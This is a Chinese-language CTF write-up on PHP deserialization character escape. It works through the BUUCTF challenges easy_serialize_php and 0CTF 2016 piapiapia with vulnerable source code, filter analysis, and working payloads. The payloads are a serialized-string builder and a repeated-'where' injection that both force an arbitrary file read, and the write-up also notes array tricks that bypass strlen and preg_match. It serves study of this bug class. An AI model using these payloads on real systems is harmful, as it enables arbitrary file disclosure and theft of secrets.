0x00 PHP反序列化的特性

PHP反序列化字符逃逸依靠PHP在反序列化时的几个特性:

  • 对类中不存在的属性也会反序列化

  • 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且根据长度判断内容

    例:正常的反序列化可执行a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    执行a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";仍可得到相同结果

0x01 BUUCTF-[安洵杯 2019]easy_serialize_php

1.1 源码分析

首先查看给出的PHP源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
?>

按顺序分析其中重要的代码功能:

  1. 传入的GET参数f被赋给了变量$function

    $function = @$_GET['f']; 
  2. POST的数据导出为变量:

    extract($_POST);
  3. 判断GET是否存在img_path参数,并进行初始化:

    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
  4. 对_SESSION[]进行序列化,并使用filter函数对其中的字符进行过滤:

    //把img中的敏感字符替换为空
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    $serialize_info = filter(serialize($_SESSION));
  5. 根据$function变量判断执行的命令,当$function值为'phpinfo'时可以执行phpinfo(),当值为'show_image'时会对$serialize_info执行反序列化操作:

    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }

1.2 解法分析

根据上文的分析,初步猜测解法为:

  1. GET参数f设置为'show_image'
  2. 通过extract()函数和POST添加变量或将某些变量覆盖
  3. 序列化$serialize_info时,img参数需要自定义
  4. 通过file_get_contents()函数读取指定的文件

1.3 解题过程

先将GET参数f的值设为'phpinfo',可以看到执行了:

image-20210512193345257

一开始,我忽略了边上的注释//maybe you can find something in here!,还以为需要将img的值设为某些名字和flag有关的文件,结果在phpinfo里面找到了:

image-20210512193801686

接下来应该就是把'd0g3_f1ag.php'base64编码后放到img参数里面了

但是,有个大问题:通过extract()函数定义的img参数会被后面的代码初始化,所以不能通过POST上传自定义的img参数

因此,要解这道题需要用到PHP反序列化的一些特点:

例如序列化之后的某一字符串:

a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}

PHP在反序列化的时候严格按照这个格式执行,严格按照s的长度取属性的值,多余的部分将会被丢弃

这也就意味着假设"Hed9eh0g"被删掉了部分,反序列化的过程中仍然会寻找引号后长度为8的字符串,只有长度不够,或长度到达指定的8后没有结束的";标志时,反序列化才无法执行成功

因此,我们可以利用刚刚被我们忽略的filter()函数:通过该函数删掉部分内容,然后把原有的img参数挤到反序列化有效区外,并在有效区内重新构造img参数,exp如下:

<?php

class _SESSION
{
    public $user = 'guest';
    public $function = 'show_image';
    public $phpphpphp = 'x";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    //img为d0g3_f1ag.php的base64编码
    public $img = 'hahahaha';

}

$data = new _SESSION();
$s = serialize($data);
echo $s;
//输出结果:
//O:8:"_SESSION":4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:9:"phpphpphp";s:53:"x";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:8:"hahahaha";}
//这里php会被filter函数替换为空,从而使得自定义的img参数生效
?>

payload1为:

image-20210512201220932

返回结果为:

image-20210512201248241

以为能直接访问到flag,结果要再来一次,读取这个文件

payload2如下:

image-20210512201416432

得到flag

image-20210512201513080

0x02 BUUCTF-[0CTF 2016]piapiapia

1.1 题目分析

我是看着标签点的这题,进去一看差点以为是注入:

image-20210517160111128

尝试了一下没有思路后,我就认怂了,结果题解说扫目录可以发现该题的源码www.zip,但是该题网页访问过快会返回429状态码,所以拿御剑扫不出来,不过题解说可以用dirsearch扫出来

1.2 源码分析

拿到源码之后就可以开始审计了,首先我在profile.php中发现了unserialize(),且被反序列化的参数$profile来源于$user对象的show_profile()方法,并且,最重要的是:**$profile['photo']file_get_contents取了出来,这也意味着若我们能控制photo的值,便可以得到任意文件**,而恰恰在在config.php中,定义了$flag

<?php //profile.php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

跟踪该方法可以发现该方法的作用是从数据库中取出$user相应的信息,这也意味着我们可以将某些攻击语句放入数据库然后反序列化,在class.php中,发现在从数据库取出数据后还进行了过滤:将string中的'\\替换为_,将select等替换为hacker,这也就有了反序列化字符逃逸的机会,在where被替换为hacker时,会多出一个字符,给了我们自定义反序列化结果的机会

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

再来看看update.php,这是我们上传数据的位置,但是,我们能上传的四个点均遭到了过滤:

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
    die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');

不过,这里有一个PHP知识点:可以用数组绕过strlenpreg_match

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null
preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

因此,可以把nickname设置为数组格式,并构造payload,即可得到flag

将序列化的前文闭合并定义photoconfig.php的序列化字符串为;}s:5:"photo";s:10:"config.php";},总计34个字符,所以需要34where被替换为hacker,因此payload为:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}

image-20210517153846421

访问profile.php后得到:

image-20210517154015038

base64解码即可得到flag

image-20210517154056911

0x03 参考

[1] [安洵杯 2019]easy_serialize_php WP https://www.jianshu.com/p/8e8117f9fd0e

[2] PHP反序列化 — 字符逃逸 https://xz.aliyun.com/t/9213

[3] [0CTF 2016]piapiapia解题详细思路及复现 https://www.cnblogs.com/g0udan/p/12216207.html

[4] 利用数组绕过问题小总结 https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation